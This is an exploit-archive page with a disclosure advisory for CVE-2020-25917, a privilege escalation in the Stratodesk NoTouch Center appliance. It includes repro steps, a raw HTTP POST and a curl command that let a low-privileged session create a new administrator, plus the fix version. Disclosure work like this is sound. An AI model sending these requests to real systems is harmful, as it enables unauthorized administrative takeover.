# Stratodesk NoTouch Center Privilege Escalation

Authored by Jeremy Brown

Posted Dec 21, 2020

Stratodesk NoTouch Center virtual appliance suffers from a privilege escalation vulnerability. This was addressed in version 4.4.68.

tags | exploit
advisories | CVE-2020-25917
SHA-256 | bc1e49f9a8def3aa6ccdabef93414743d37482014f5ffd7cf5069cef8ed88f82 Download | Favorite | View

Related Files

**Share This**

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Stratodesk NoTouch Center Virtual Appliance is a portal for managing NoTouch clients. It appears that
Stratodesk has a partnership with ViewSonic and produced these appliances to support some of their hardware
devices as well.

- https://www.stratodesk.com/products/notouch-desktop/virtual-appliance/
- https://www.viewsonic.com/eu/products/desktop-virtualization/SC-T25.php

=Authenticated privilege escalation from low privileged user to admin=

The user management security strategy seems to be just hiding the options in the Web UI from unprivileged
users, but they can still call admin-related functions manually. Many different admin requests are available to
be called by non-admin users with the root cause being the same. The add user functionality is just the biggest
impact demonstration of this issue.

A low privileged user on the platform, for example a user with "helpdesk" privileges (which is level 4 in their
system of 1-4 privilege levels with 1=admin), can perform privileged operations including adding a new
administrator to the platform.

Repro

    1) Create a low privileged user
    2) Login as such user and capture this user's JSESSIONID in the Cookie header
    3) Insert your ID in the below request where the JESSIONID data is
    4) Login as admin2 and see that you now have admin privileges

POST /easyadmin/user/submitCreateTCUser.do HTTP/1.1
Host: stratodesk-server
Content-Type: application/x-www-form-urlencoded
Content-Length: XX
Cookie: JSESSIONID=[XXXXXXXX...]

func=save&userid=0&name=admin2&fullname=admin2&password=Secret2&seclevel=1

"As cURL command"

curl -i -s -k -X $'POST' \
    -H $'Host: stratodesk-server' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
XX' -H $'Cookie: JSESSIONID=XXXXXXXX...' \
    -b $'JSESSIONID=XXXXXXXX...' \
    --data-binary $'func=save&userid=0&name=admin2&fullname=admin22&password=Secret222&seclevel=1' \
    $'https://stratodesk-server/easyadmin/user/submitCreateTCUser.do'

Remediation

Fixed in NoTouch package v4.4.68 (unclear which if any OVA releases contain the updated packages)

CVE-2020-25917

Discovered and disclosed by Jeremy Brown / December 2020
```

Login or Register to add favorites



## File Archive: December 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | | | 1 | 2 | 3 |
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |

## Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

## File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

## File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

## Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other



## Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

## About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

## Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed